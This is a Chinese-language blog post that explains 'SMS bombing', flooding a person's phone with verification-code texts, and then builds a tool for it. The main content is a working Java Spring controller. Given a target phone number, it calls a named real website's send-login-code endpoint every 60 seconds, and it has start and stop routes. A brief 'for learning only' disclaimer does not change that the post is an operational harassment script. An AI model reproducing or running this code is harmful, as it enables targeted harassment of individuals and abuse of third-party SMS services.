短信轰炸是怎么做的?

1,208 阅读2分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第5天,点击查看活动详情


今天看到个新闻,如下,网购给差评后遭遇短信轰炸

1.png 新闻就不谈论了啊,今天就聊聊短信轰炸。

短信轰炸顾名思义就是给你发一堆垃圾短信,让你烦恼😡

今天小卷就来弄一弄短信轰炸的原理是啥

短信轰炸原理

小卷谷歌了几个在线短信轰炸的网站,找了几个后才终于找到个能用的,如图启动后,小卷的手机开始收到各种乱七八糟的短信了。看了半天,都是些验证码。。。

于是得出结论:短信轰炸其实就是请求各种网站的发送验证码接口,给你的手机不停发验证码短信

2.png

3.png

动手做一个

弄懂了原理后,我们也能自己动手操作一番了。本文所有内容仅供学习使用,请私用,勿用于其他用途。

  • 首先找一个网站能发验证码的接口
  • 开发代码,不停调用即可

1.找个发短信的接口

这里小卷找了个验证码短信接口(现在的网站为了防刷,通常发验证码短信前还需要再验证一次的,所以不太好找)

如图所示,网站只要输个手机号就能发送验证码短信了

5.png

2.开发工作

小卷之前的文章有教大家怎么薅京豆羊毛[奶奶看了都会]京东自动签到薅羊毛-完整教程

直接复用之前的HttpUtil类,通过Get请求一遍接口即可,为了能一直轰炸,设置为每隔60s重新再请求一次。


    ScheduledExecutorService timer = Executors.newSingleThreadScheduledExecutor();

    @GetMapping("/smsbombing/start")
    public String smsbombingStart(String phoneNum) {
        //发送短信验证码的接口
        String api = "https://818ps.com/site-api/send-tel-login-code?num=%s&codeImg=undefined";
        String apiString = String.format(api, phoneNum);
        RequestSms requestSms = new RequestSms(apiString);
        //开始轰炸,每隔60s发一次
        timer.scheduleAtFixedRate(requestSms, 0, 60, TimeUnit.SECONDS);
        return "执行完成";
    }

    @GetMapping("/smsbombing/stop")
    public String smsbombingStop() {
        timer.shutdown();
        return "执行完成";
    }

    protected class RequestSms implements Runnable {
        private String apiString;
        RequestSms(){}
        RequestSms(String apiString){
            this.apiString = apiString;
        }

        @Override
        public void run() {
            try {
                String response = OkHttpUtils.get(apiString);
                log.info("短信轰炸执行,response:{}", response);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

后面手机就会收到短信了

仅供学习用哦~